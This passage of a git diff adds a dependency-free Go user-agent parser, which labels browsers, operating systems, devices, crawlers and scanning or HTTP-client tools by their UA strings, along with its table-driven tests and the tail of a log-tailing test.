"ok" || oversize != 1 { + t.Fatalf("got %v oversize=%d", l, oversize) + } +} + +func TestStalePosAndBackups(t *testing.T) { + dir := t.TempDir() + p := filepath.Join(dir, "a.log") + appendTo(t, p, "x\ny\n") + // saved offset beyond the file (truncated while down): restart from zero + _, s, stop := start(t, p, Pos{Inode: 0, Offset: 9999}) + waitFor(t, s, 2) + stop() + // backups ordering and gzip reading + for _, n := range []string{"a.log.2.gz", "a.log.1.gz"} { + f, _ := os.Create(filepath.Join(dir, n)) + gz := gzip.NewWriter(f) + gz.Write([]byte("from-" + n + "\nsecond\n")) + gz.Close() + f.Close() + } + appendTo(t, p+".1", "plain\n") + b := Backups(p) + // .1.gz wins over .1 for the same index; order is oldest first + if len(b) != 2 || !strings.HasSuffix(b[0], ".2.gz") || !strings.HasSuffix(b[1], ".1.gz") { + t.Fatalf("backups %v", b) + } + var got []string + if err := ReadAll(b[0], 1000, func(l []byte) { got = append(got, string(l)) }, nil); err != nil { + t.Fatal(err) + } + if len(got) != 2 || got[0] != "from-a.log.2.gz" { + t.Fatalf("%v", got) + } +} diff --git a/internal/ua/ua.go b/internal/ua/ua.go new file mode 100644 index 0000000..4a1e5d2 --- /dev/null +++ b/internal/ua/ua.go @@ -0,0 +1,504 @@ +// Package ua interpreta User-Agents sem dependências: navegador, SO, tipo de +// dispositivo, bots conhecidos (buscadores/IA) e ferramentas de varredura. +package ua + +import ( + "strings" + "sync" +) + +// Info é o resultado de Parse. +type Info struct { + Browser string `json:"browser,omitempty"` + BrowserMajor string `json:"browser_major,omitempty"` + OS string `json:"os,omitempty"` + Device string `json:"device"` // desktop | mobile | tablet | bot | tool | unknown + Bot bool `json:"bot"` + BotName string `json:"bot_name,omitempty"` + Tool string `json:"tool,omitempty"` +} + +const ( + Desktop = "desktop" + Mobile = "mobile" + Tablet = "tablet" + BotDev = "bot" + ToolDev = "tool" + Unknown = "unknown" +) + +const cacheMax = 4096 + +var ( + cacheMu sync.RWMutex + cache = make(map[string]Info, 256) +) + +// Parse é pura (sem estado observável) e segura para uso concorrente; usa um +// cache pequeno e limitado. +func Parse(ua string) Info { + cacheMu.RLock() + in, ok := cache[ua] + cacheMu.RUnlock() + if ok { + return in + } + in = parse(ua) + if len(ua) <= 512 { + cacheMu.Lock() + if len(cache) >= cacheMax { + clear(cache) + } + cache[ua] = in + cacheMu.Unlock() + } + return in +} + +type needle struct { + s string // minúsculo + name string + // prefix: só vale no início do UA + prefix bool +} + +// Ferramentas de varredura, ataque, automação e monitoramento. Ordem importa +// apenas entre entradas que se sobrepõem. +var tools = []needle{ + {"zgrab", "zgrab", false}, + {"masscan", "masscan", false}, + {"nuclei", "Nuclei", false}, + {"sqlmap", "sqlmap", false}, + {"nmap", "Nmap", false}, + {"nikto", "Nikto", false}, + {"dirbuster", "DirBuster", false}, + {"gobuster", "gobuster", false}, + {"ffuf", "ffuf", false}, + {"wfuzz", "wfuzz", false}, + {"feroxbuster", "feroxbuster", false}, + {"wpscan", "WPScan", false}, + {"acunetix", "Acunetix", false}, + {"nessus", "Nessus", false}, + {"openvas", "OpenVAS", false}, + {"qualys", "Qualys", false}, + {"netsparker", "Netsparker", false}, + {"burpcollaborator", "Burp", false}, + {"zmeu", "ZmEu", false}, + {"l9explore", "l9explore", false}, + {"l9tcpid", "l9tcpid", false}, + {"libredtail", "libredtail-http", false}, + {"censysinspect", "CensysInspect", false}, + {"expanse", "Expanse", false}, + {"internet-measurement", "InternetMeasurement", false}, + {"netsystemsresearch", "NetSystemsResearch", false}, + {"hello, world", "Hello World", true}, + {"hello world", "Hello World", true}, + {"headlesschrome", "HeadlessChrome", false}, + {"phantomjs", "PhantomJS", false}, + {"selenium", "Selenium", false}, + {"puppeteer", "Puppeteer", false}, + {"playwright", "Playwright", false}, + {"chrome-lighthouse", "Lighthouse", false}, + {"curl/", "curl", false}, + {"wget", "Wget", false}, + {"httpie", "HTTPie", false}, + {"python-requests", "python-requests", false}, + {"python-urllib", "python-urllib", false}, + {"python-httpx", "python-httpx", false}, + {"aiohttp", "aiohttp", false}, + {"python/", "Python", true}, + {"go-http-client", "Go-http-client", false}, + {"fasthttp", "fasthttp", false}, + {"okhttp", "okhttp", false}, + {"java/", "Java", true}, + {"apache-httpclient", "Apache-HttpClient", false}, + {"jakarta commons", "Jakarta-HttpClient", false}, + {"libwww-perl", "libwww-perl", false}, + {"lwp::simple", "libwww-perl", false}, + {"ruby", "Ruby", true}, + {"faraday", "Faraday", false}, + {"guzzlehttp", "GuzzleHttp", false}, + {"php/", "PHP", true}, + {"node-fetch", "node-fetch", false}, + {"axios/", "axios", false}, + {"undici", "undici", false}, + {"deno/", "Deno", true}, + {"dart/", "Dart", true}, + {"reqwest", "reqwest", false}, + {"scrapy", "Scrapy", false}, + {"postmanruntime", "Postman", false}, + {"insomnia", "Insomnia", false}, + {"winhttp", "WinHTTP", false}, + {"wappalyzer", "Wappalyzer", false}, + {"apache/", "Apache", true}, + {"uptime-kuma", "Uptime-Kuma", false}, + {"uptimerobot", "UptimeRobot", false}, + {"pingdom", "Pingdom", false}, + {"statuscake", "StatusCake", false}, + {"site24x7", "Site24x7", false}, + {"zabbix", "Zabbix", false}, + {"prometheus", "Prometheus", false}, + {"kube-probe", "kube-probe", false}, + {"elb-healthchecker", "ELB-HealthChecker", false}, + {"amazon-route53-health-check", "Route53-HealthCheck", false}, + {"googlehc", "GoogleHC", false}, + {"check_http", "check_http", false}, + {"nagios", "Nagios", false}, + {"monitoring", "Monitoring", true}, +} + +// Bots de buscadores, IA, redes sociais e SEO. +var bots = []needle{ + {"googlebot", "Googlebot", false}, + {"adsbot-google", "AdsBot-Google", false}, + {"mediapartners-google", "Mediapartners-Google", false}, + {"google-inspectiontool", "Google-InspectionTool", false}, + {"google-extended", "Google-Extended", false}, + {"googleother", "GoogleOther", false}, + {"google-cloudvertexbot", "Google-CloudVertexBot", false}, + {"storebot-google", "Storebot-Google", false}, + {"apis-google", "APIs-Google", false}, + {"feedfetcher-google", "FeedFetcher-Google", false}, + {"google-read-aloud", "Google-Read-Aloud", false}, + {"google-site-verification", "Google-Site-Verification", false}, + {"google page speed", "Google-PageSpeed", false}, + {"bingbot", "Bingbot", false}, + {"bingpreview", "BingPreview", false}, + {"adidxbot", "adidxbot", false}, + {"msnbot", "MSNBot", false}, + {"yahoo! slurp", "Yahoo Slurp", false}, + {"slurp", "Yahoo Slurp", false}, + {"duckassistbot", "DuckAssistBot", false}, + {"duckduckbot", "DuckDuckBot", false}, + {"baiduspider", "Baiduspider", false}, + {"yandex", "YandexBot", false}, + {"sogou", "Sogou", false}, + {"exabot", "Exabot", false}, + {"seznambot", "SeznamBot", false}, + {"qwantify", "Qwantify", false}, + {"applebot", "Applebot", false}, + {"petalbot", "PetalBot", false}, + {"gptbot", "GPTBot", false}, + {"chatgpt-user", "ChatGPT-User", false}, + {"oai-searchbot", "OAI-SearchBot", false}, + {"claudebot", "ClaudeBot", false}, + {"claude-web", "Claude-Web", false}, + {"claude-user", "Claude-User", false}, + {"claude-searchbot", "Claude-SearchBot", false}, + {"anthropic-ai", "anthropic-ai", false}, + {"perplexitybot", "PerplexityBot", false}, + {"perplexity-user", "Perplexity-User", false}, + {"mistralai-user", "MistralAI-User", false}, + {"cohere-ai", "cohere-ai", false}, + {"bytespider", "Bytespider", false}, + {"ccbot", "CCBot", false}, + {"amazonbot", "Amazonbot", false}, + {"diffbot", "Diffbot", false}, + {"youbot", "YouBot", false}, + {"imagesiftbot", "ImagesiftBot", false}, + {"timpibot", "Timpibot", false}, + {"omgili", "omgili", false}, + {"meta-externalagent", "meta-externalagent", false}, + {"meta-externalfetcher", "meta-externalfetcher", false}, + {"facebookexternalhit", "facebookexternalhit", false}, + {"facebot", "Facebot", false}, + {"twitterbot", "Twitterbot", false}, + {"linkedinbot", "LinkedInBot", false}, + {"slackbot", "Slackbot", false}, + {"slack-imgproxy", "Slack-ImgProxy", false}, + {"discordbot", "Discordbot", false}, + {"telegrambot", "TelegramBot", false}, + {"whatsapp/", "WhatsApp", false}, + {"pinterestbot", "Pinterestbot", false}, + {"redditbot", "redditbot", false}, + {"skypeuripreview", "SkypeUriPreview", false}, + {"embedly", "Embedly", false}, + {"quora link preview", "Quora Link Preview", false}, + {"semrushbot", "SemrushBot", false}, + {"ahrefsbot", "AhrefsBot", false}, + {"ahrefssiteaudit", "AhrefsSiteAudit", false}, + {"mj12bot", "MJ12bot", false}, + {"dotbot", "DotBot", false}, + {"rogerbot", "rogerbot", false}, + {"blexbot", "BLEXBot", false}, + {"dataforseobot", "DataForSeoBot", false}, + {"barkrowler", "Barkrowler", false}, + {"megaindex", "MegaIndex", false}, + {"serpstatbot", "serpstatbot", false}, + {"screaming frog", "Screaming Frog", false}, + {"ia_archiver", "ia_archiver", false}, + {"archive.org_bot", "archive.org_bot", false}, + {"better uptime bot", "Better Uptime Bot", false}, + {"wp rocket", "WP Rocket", false}, +} + +func lower(s string) string { + for i := 0; i < len(s); i++ { + if c := s[i]; c >= 'A' && c <= 'Z' { + return strings.ToLower(s) + } + } + return s +} + +func matchNeedle(list []needle, l string) string { + for i := range list { + n := &list[i] + if n.prefix { + if strings.HasPrefix(l, n.s) { + return n.name + } + } else if strings.Contains(l, n.s) { + return n.name + } + } + return "" +} + +func parse(raw string) Info { + s := strings.TrimSpace(raw) + if s == "" || s == "-" { + return Info{Device: Unknown} + } + l := lower(s) + + if t := matchNeedle(tools, l); t != "" { + in := Info{Device: ToolDev, Tool: t} + if strings.HasPrefix(l, "mozilla/") { + in.Browser, in.BrowserMajor = browser(s) + in.OS = osName(s) + } + return in + } + if b := matchNeedle(bots, l); b != "" { + return Info{Device: BotDev, Bot: true, BotName: b} + } + if b := genericBot(s); b != "" { + return Info{Device: BotDev, Bot: true, BotName: b} + } + + in := Info{} + in.Browser, in.BrowserMajor = browser(s) + in.OS = osName(s) + in.Device = device(s, l, &in) + return in +} + +// genericBot reconhece bots não listados: tokens terminados em "bot", +// "crawler"/"spider", ou "(compatible; Nome/1.0; +http://...)". +func genericBot(s string) string { + isSep := func(r byte) bool { + return r == ' ' || r == ';' || r == '(' || r == ')' || r == '/' || r == ',' + } + var firstCompat string + for i := 0; i < len(s); { + for i < len(s) && isSep(s[i]) { + i++ + } + j := i + for j < len(s) && !isSep(s[j]) { + j++ + } + tok := s[i:j] + i = j + if len(tok) < 3 { + continue + } + lt := lower(tok) + if strings.EqualFold(tok, "compatible") { + firstCompat = "?" + continue + } + if firstCompat == "?" { + firstCompat = tok + } + if lt == "cubot" { + continue + } + if strings.HasSuffix(lt, "bot") || strings.Contains(lt, "crawler") || strings.Contains(lt, "spider") { + return tok + } + } + // "(compatible; Foo/1.0; +http...)" sem navegador conhecido + if firstCompat != "" && firstCompat != "?" && strings.Contains(s, "+http") && + !strings.HasPrefix(firstCompat, "MSIE") && !strings.HasPrefix(firstCompat, "Opera") { + return firstCompat + } + return "" +} + +// major devolve os dígitos após tok em s ("Chrome/" -> "89"). +func major(s, tok string) (string, bool) { + i := strings.Index(s, tok) + if i < 0 { + return "", false + } + i += len(tok) + j := i + for j < len(s) && s[j] >= '0' && s[j] <= '9' { + j++ + } + if j == i { + return "", false + } + return s[i:j], true +} + +func browser(s string) (name, ver string) { + type rule struct { + tok, name string + } + // ordem: derivados de Chromium/WebKit antes de Chrome e Safari + for _, r := range [...]rule{ + {"Edg/", "Edge"}, {"EdgA/", "Edge"}, {"EdgiOS/", "Edge"}, {"Edge/", "Edge"}, + {"OPR/", "Opera"}, {"OPT/", "Opera"}, {"OPiOS/", "Opera"}, + {"SamsungBrowser/", "Samsung Internet"}, + {"Vivaldi/", "Vivaldi"}, + {"YaBrowser/", "Yandex Browser"}, + {"UCBrowser/", "UC Browser"}, + {"DuckDuckGo/", "DuckDuckGo"}, + {"MiuiBrowser/", "MIUI Browser"}, + {"HuaweiBrowser/", "Huawei Browser"}, + {"Whale/", "Whale"}, + {"QQBrowser/", "QQ Browser"}, + {"Silk/", "Silk"}, + {"Electron/", "Electron"}, + {"MicroMessenger/", "WeChat"}, + {"FBAV/", "Facebook"}, + {"Instagram ", "Instagram"}, + {"Firefox/", "Firefox"}, + {"FxiOS/", "Firefox"}, + {"Chromium/", "Chromium"}, + {"CriOS/", "Chrome"}, + } { + if v, ok := major(s, r.tok); ok { + return r.name, v + } + } + if strings.Contains(s, "Opera Mini/") { + v, _ := major(s, "Opera Mini/") + return "Opera Mini", v + } + if strings.Contains(s, "Opera") { + if v, ok := major(s, "Version/"); ok { + return "Opera", v + } + if v, ok := major(s, "Opera/"); ok { + return "Opera", v + } + v, _ := major(s, "Opera ") + return "Opera", v + } + if v, ok := major(s, "MSIE "); ok { + return "Internet Explorer", v + } + if strings.Contains(s, "Trident/") { + v, _ := major(s, "rv:") + return "Internet Explorer", v + } + if v, ok := major(s, "Chrome/"); ok { + if strings.Contains(s, "; wv)") { + return "Android WebView", v + } + return "Chrome", v + } + if strings.Contains(s, "Safari/") || strings.Contains(s, "AppleWebKit/") { + if v, ok := major(s, "Version/"); ok { + return "Safari", v + } + if strings.Contains(s, "Safari/") { + return "Safari", "" + } + return "WebKit", "" + } + if strings.HasPrefix(s, "Lynx/") { + v, _ := major(s, "Lynx/") + return "Lynx", v + } + if strings.HasPrefix(s, "w3m/") { + return "w3m", "" + } + return "", "" +} + +func osName(s string) string { + switch { + case strings.Contains(s, "Windows Phone"): + return "Windows Phone" + case strings.Contains(s, "Windows"): + return "Windows" + case strings.Contains(s, "Android"): + return "Android" + case strings.Contains(s, "iPhone"), strings.Contains(s, "iPod"), strings.Contains(s, "iPad"): + return "iOS" + case strings.Contains(s, "CrOS"): + return "ChromeOS" + case strings.Contains(s, "Macintosh"): + // iPadOS 13+ se apresenta como Mac, mas traz "Mobile/" + if strings.Contains(s, " Mobile/") { + return "iOS" + } + return "macOS" + case strings.Contains(s, "Mac OS X"): + return "macOS" + case strings.Contains(s, "KaiOS"): + return "KaiOS" + case strings.Contains(s, "Tizen"): + return "Tizen" + case strings.Contains(s, "Web0S"), strings.Contains(s, "WebOS"), strings.Contains(s, "webOS"): + return "webOS" + case strings.Contains(s, "FreeBSD"): + return "FreeBSD" + case strings.Contains(s, "OpenBSD"): + return "OpenBSD" + case strings.Contains(s, "NetBSD"): + return "NetBSD" + case strings.Contains(s, "BlackBerry"), strings.Contains(s, "BB10"): + return "BlackBerry" + case strings.Contains(s, "Linux"), strings.Contains(s, "X11"), strings.Contains(s, "Ubuntu"), + strings.Contains(s, "Fedora"), strings.Contains(s, "Debian"): + return "Linux" + case strings.Contains(s, "Dalvik/"): + return "Android" + } + return "" +} + +func device(s, l string, in *Info) string { + if strings.Contains(s, "iPad") || + (in.OS == "iOS" && strings.Contains(s, "Macintosh")) { + return Tablet + } + if strings.Contains(l, "tablet") || strings.Contains(s, "Kindle") || strings.Contains(s, "PlayBook") || + (in.OS == "Android" && strings.Contains(s, "Silk/")) { + return Tablet + } + switch in.OS { + case "Android": + if strings.Contains(s, "Mobile") || strings.Contains(s, "Dalvik/") || in.Browser == "Opera Mini" { + return Mobile + } + if strings.Contains(s, "Android TV") || strings.Contains(s, "SMART-TV") { + return Unknown + } + return Tablet + case "iOS", "Windows Phone", "KaiOS", "BlackBerry": + return Mobile + case "Tizen", "webOS": + return Unknown + } + if strings.Contains(s, "Mobile") || strings.Contains(s, "IEMobile") || in.Browser == "Opera Mini" { + return Mobile + } + if strings.Contains(s, "SMART-TV") || strings.Contains(s, "HbbTV") || strings.Contains(s, "CrKey") || strings.Contains(s, "AppleTV") { + return Unknown + } + switch in.OS { + case "Windows", "macOS", "Linux", "ChromeOS", "FreeBSD", "OpenBSD", "NetBSD": + return Desktop + } + if in.Browser != "" { + return Desktop + } + return Unknown +} diff --git a/internal/ua/ua_test.go b/internal/ua/ua_test.go new file mode 100644 index 0000000..1b88215 --- /dev/null +++ b/internal/ua/ua_test.go @@ -0,0 +1,194 @@ +package ua + +import ( + "strings" + "sync" + "testing" +) + +type tc struct { + ua string + browser, major string + os, device string + botName, toolName string +} + +func TestParseTable(t *testing.T) { + cases := []tc{ + // produção + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", "Chrome", "89", "Windows", "desktop", "", ""}, + {"Mozilla/5.0", "", "", "", "unknown", "", ""}, + {"curl/8.14.1", "", "", "", "tool", "", "curl"}, + {"Uptime-Kuma/2.5.3", "", "", "", "tool", "", "Uptime-Kuma"}, + {"Apache/2.4.69 (Debian) PHP/8.3.36 (internal dummy connection)", "", "", "", "tool", "", "Apache"}, + // vazios e bizarros + {"", "", "", "", "unknown", "", ""}, + {"-", "", "", "", "unknown", "", ""}, + {" ", "", "", "", "unknown", "", ""}, + {"asdfghjkl", "", "", "", "unknown", "", ""}, + {"Mozilla/5.0 (compatible)", "", "", "", "unknown", "", ""}, + // desktop + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0", "Firefox", "128", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Firefox", "115", "Linux", "desktop", "", ""}, + {"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", "Firefox", "121", "Linux", "desktop", "", ""}, + {"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15", "Safari", "17", "macOS", "desktop", "", ""}, + {"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Chrome", "120", "macOS", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.2210.91", "Edge", "120", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582", "Edge", "18", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 OPR/105.0.0.0", "Opera", "105", "Windows", "desktop", "", ""}, + {"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.10.289 Version/12.02", "Opera", "12", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Vivaldi/6.4.3160.47", "Vivaldi", "6", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 YaBrowser/23.9.1.964 Yowser/2.5 Safari/537.36", "Yandex Browser", "23", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/80.0.3987.163 Chrome/80.0.3987.163 Safari/537.36", "Chromium", "80", "Linux", "desktop", "", ""}, + {"Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "Chrome", "117", "ChromeOS", "desktop", "", ""}, + {"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36", "Chrome", "121", "Linux", "desktop", "", ""}, + {"Mozilla/5.0 (X11; FreeBSD amd64; rv:109.0) Gecko/20100101 Firefox/115.0", "Firefox", "115", "FreeBSD", "desktop", "", ""}, + {"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2)", "Internet Explorer", "8", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", "Internet Explorer", "11", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 5.1; rv:52.0) Gecko/20100101 Firefox/52.0", "Firefox", "52", "Windows", "desktop", "", ""}, + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.74 Electron/23.1.1 Safari/537.36", "Electron", "23", "Windows", "desktop", "", ""}, + {"Lynx/2.9.0dev.10 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/3.7.8", "Lynx", "2", "", "desktop", "", ""}, + // mobile + {"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1", "Safari", "17", "iOS", "mobile", "", ""}, + {"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1", "Chrome", "120", "iOS", "mobile", "", ""}, + {"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/120.0 Mobile/15E148 Safari/605.1.15", "Firefox", "120", "iOS", "mobile", "", ""}, + {"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 EdgiOS/119.0.2151.64 Mobile/15E148 Safari/605.1.15", "Edge", "119", "iOS", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.144 Mobile Safari/537.36", "Chrome", "120", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.36", "Samsung Internet", "23", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Android 13; Mobile; rv:120.0) Gecko/120.0 Firefox/120.0", "Firefox", "120", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36 EdgA/119.0.2151.78", "Edge", "119", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36 OPR/76.2.4027", "Opera", "76", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 11; moto g(10)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Mobile Safari/537.36", "Chrome", "108", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 9; CUBOT_X30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Mobile Safari/537.36", "Chrome", "99", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 12; SM-A525M Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.43 Mobile Safari/537.36", "Android WebView", "120", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 8.1.0; Mi A2 Build/OPM1) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/68.0.3440.91 Mobile Safari/537.36 UCBrowser/13.4.0.1306", "UC Browser", "13", "Android", "mobile", "", ""}, + {"Opera/9.80 (Android; Opera Mini/36.2.2254/119.132; U; id) Presto/2.12.423 Version/12.16", "Opera Mini", "36", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.15254", "Edge", "15", "Windows Phone", "mobile", "", ""}, + {"Mozilla/5.0 (Linux; Android 11; Mobile) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36 DuckDuckGo/5", "DuckDuckGo", "5", "Android", "mobile", "", ""}, + {"Dalvik/2.1.0 (Linux; U; Android 9; SM-J730G Build/PPR1.180610.011)", "", "", "Android", "mobile", "", ""}, + {"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 305.0.0.20.116", "Instagram", "305", "iOS", "mobile", "", ""}, + // tablet + {"Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1", "Safari", "17", "iOS", "tablet", "", ""}, + {"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1", "Safari", "17", "iOS", "tablet", "", ""}, + {"Mozilla/5.0 (Linux; Android 13; SM-X700) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Chrome", "120", "Android", "tablet", "", ""}, + {"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; KFTT Build/IML74K) AppleWebKit/537.36 (KHTML, like Gecko) Silk/3.68 like Chrome/39.0.2171.93 Safari/537.36", "Silk", "3", "Android", "tablet", "", ""}, + // TV + {"Mozilla/5.0 (SMART-TV; LINUX; Tizen 6.0) AppleWebKit/537.36 (KHTML, like Gecko) 76.0.3809.146/6.0 TV Safari/537.36", "Safari", "", "Tizen", "unknown", "", ""}, + // bots bons + {"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "", "", "", "bot", "Googlebot", ""}, + {"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.109 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "", "", "", "bot", "Googlebot", ""}, + {"Googlebot-Image/1.0", "", "", "", "bot", "Googlebot", ""}, + {"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "", "", "", "bot", "Bingbot", ""}, + {"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.1; +https://openai.com/gptbot)", "", "", "", "bot", "GPTBot", ""}, + {"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "", "", "", "bot", "ClaudeBot", ""}, + {"Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)", "", "", "", "bot", "AhrefsBot", ""}, + {"Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html)", "", "", "", "bot", "SemrushBot", ""}, + {"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)", "", "", "", "bot", "YandexBot", ""}, + {"Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "", "", "", "bot", "Baiduspider", ""}, + {"DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)", "", "", "", "bot", "DuckDuckBot", ""}, + {"facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)", "", "", "", "bot", "facebookexternalhit", ""}, + {"Twitterbot/1.0", "", "", "", "bot", "Twitterbot", ""}, + {"Mozilla/5.0 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)", "", "", "", "bot", "PetalBot", ""}, + {"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "", "", "", "bot", "Applebot", ""}, + {"Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)", "", "", "", "bot", "MJ12bot", ""}, + {"Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "", "", "", "bot", "Bytespider", ""}, + {"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; PerplexityBot/1.0; +https://perplexity.ai/perplexitybot", "", "", "", "bot", "PerplexityBot", ""}, + {"Mozilla/5.0 (compatible; Exampleinfobot/2.3; +https://example.org/bot)", "", "", "", "bot", "Exampleinfobot", ""}, + {"Mozilla/5.0 (compatible; NewSearchEngine/1.0; +https://newsearch.example/info)", "", "", "", "bot", "NewSearchEngine", ""}, + // ferramentas + {"python-requests/2.31.0", "", "", "", "tool", "", "python-requests"}, + {"Go-http-client/1.1", "", "", "", "tool", "", "Go-http-client"}, + {"Go-http-client/2.0", "", "", "", "tool", "", "Go-http-client"}, + {"Wget/1.21.4", "", "", "", "tool", "", "Wget"}, + {"Mozilla/5.0 zgrab/0.x", "", "", "", "tool", "", "zgrab"}, + {"masscan/1.3 (https://github.com/robertdavidgraham/masscan)", "", "", "", "tool", "", "masscan"}, + {"Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)", "", "", "", "tool", "", "Nmap"}, + {"Nuclei - Open-source project (github.com/projectdiscovery/nuclei)", "", "", "", "tool", "", "Nuclei"}, + {"sqlmap/1.7.2#stable (https://sqlmap.org)", "", "", "", "tool", "", "sqlmap"}, + {"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)", "", "", "", "tool", "", "Nikto"}, + {"Mozilla/5.0 